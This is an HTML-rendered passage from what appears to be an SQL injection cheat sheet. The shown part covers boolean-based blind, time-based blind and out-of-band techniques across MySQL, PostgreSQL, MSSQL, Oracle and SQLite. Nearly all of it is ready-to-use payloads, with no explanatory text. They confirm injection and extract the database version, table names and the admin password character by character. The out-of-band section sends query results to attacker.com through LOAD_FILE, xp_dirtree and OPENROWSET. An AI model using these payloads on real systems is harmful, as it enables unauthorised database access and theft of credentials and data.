&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- XMLType:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;UPPER&lt;/span&gt;(XMLType(chr(&lt;span style=&#34;color:#ae81ff&#34;&gt;60&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt;chr(&lt;span style=&#34;color:#ae81ff&#34;&gt;58&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;version&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt;chr(&lt;span style=&#34;color:#ae81ff&#34;&gt;62&lt;/span&gt;))) &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; v$instance)&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;section-5--boolean-based-blind&#34;&gt;Section 5 — Boolean-Based Blind&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Confirm boolean:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND 1=1--              -- true: same as normal response
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--              -- false: different/empty response
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Extract data char by char:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND SUBSTRING(version(),1,1)=&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SUBSTRING&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;version&lt;/span&gt;(),&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;8&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND ASCII(SUBSTRING(version(),1,1))&amp;gt;50--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; ASCII(&lt;span style=&#34;color:#66d9ef&#34;&gt;SUBSTRING&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;version&lt;/span&gt;(),&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;))&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;56&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--    -- binary search
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Extract DB name:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND SUBSTRING(database(),1,1)=&amp;#39;&lt;/span&gt;a&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;LENGTH&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;database&lt;/span&gt;())&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Check if table exists:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND (SELECT COUNT(*) FROM users)&amp;gt;0--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;COUNT&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; information_schema.tables &lt;span style=&#34;color:#66d9ef&#34;&gt;WHERE&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;table_name&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;admin_users&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Check if row exists:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND (SELECT COUNT(*) FROM users WHERE username=&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;admin&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;)=1--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- Extract password of admin:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;SUBSTRING&lt;/span&gt;((&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; password &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; users &lt;span style=&#34;color:#66d9ef&#34;&gt;WHERE&lt;/span&gt; username&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;admin&amp;#39;&lt;/span&gt;),&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- PostgreSQL boolean:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND SUBSTR(version(),1,1)=&amp;#39;&lt;/span&gt;P&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;COUNT&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; pg_tables &lt;span style=&#34;color:#66d9ef&#34;&gt;WHERE&lt;/span&gt; tablename&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;users&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;section-6--time-based-blind&#34;&gt;Section 6 — Time-Based Blind&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- MySQL:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND SLEEP(5)--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;IF&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,SLEEP(&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;),&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND IF(1=2,SLEEP(5),0)--                           -- no delay (false)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;IF&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;SUBSTRING&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;version&lt;/span&gt;(),&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;8&amp;#39;&lt;/span&gt;,SLEEP(&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;),&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)&lt;span style=&#34;color:#75715e&#34;&gt;--  -- delay if true
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND IF(LENGTH(database())=10,SLEEP(5),0)--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- PostgreSQL:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; pg_sleep(&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;)&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND (SELECT 1 FROM pg_sleep(5))--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;CASE&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;WHEN&lt;/span&gt; (&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;THEN&lt;/span&gt; pg_sleep(&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;ELSE&lt;/span&gt; pg_sleep(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;END&lt;/span&gt;)&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND (SELECT CASE WHEN SUBSTR(version(),1,1)=&amp;#39;&lt;/span&gt;P&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; THEN pg_sleep(5) ELSE pg_sleep(0) END)--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- MSSQL:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;; WAITFOR DELAY &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;0:0:5&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND IF(1=1) WAITFOR DELAY &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;IF&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;COUNT&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; users)&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt; WAITFOR DELAY &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;0:0:5&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Oracle:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND 1=DBMS_PIPE.RECEIVE_MESSAGE(&amp;#39;&lt;/span&gt;a&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;,5)--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;CASE&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;WHEN&lt;/span&gt; (&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;THEN&lt;/span&gt; DBMS_PIPE.RECEIVE_MESSAGE(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;a&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;ELSE&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;END&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; DUAL)&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- SQLite:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND LIKE(&amp;#39;&lt;/span&gt;ABCDEFG&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;,UPPER(HEX(RANDOMBLOB(100000000/2))))--   -- heavy computation delay
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;section-7--out-of-band-oob-exfiltration&#34;&gt;Section 7 — Out-of-Band (OOB) Exfiltration&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- MySQL (requires FILE privilege):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND LOAD_FILE(concat(&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;\\\\&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;,version(),&amp;#39;&lt;/span&gt;.&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;,user(),&amp;#39;&lt;/span&gt;.attacker.com&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;\\&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;share&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;))--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; LOAD_FILE(concat(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;x5c5c5c5c,&lt;span style=&#34;color:#66d9ef&#34;&gt;version&lt;/span&gt;(),&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;x2e,&lt;span style=&#34;color:#66d9ef&#34;&gt;database&lt;/span&gt;(),&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;x2e,&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;x6174746163b6572,&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;x2e636f6d5c5c61))&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- MSSQL (xp_dirtree — DNS OOB):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;; EXEC master..xp_dirtree &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;\\&lt;/span&gt;attacker.com&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;\&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;share&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;EXEC&lt;/span&gt; master..xp_fileexist &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;\\attacker.com\share&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND 1=(SELECT 1 FROM OPENROWSET(&amp;#39;&lt;/span&gt;SQLOLEDB&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;,&amp;#39;&lt;/span&gt;server&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;attacker.com;uid&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;sa;pwd&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;sa&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;,&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;))--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- MSSQL (DNS exfil with data):
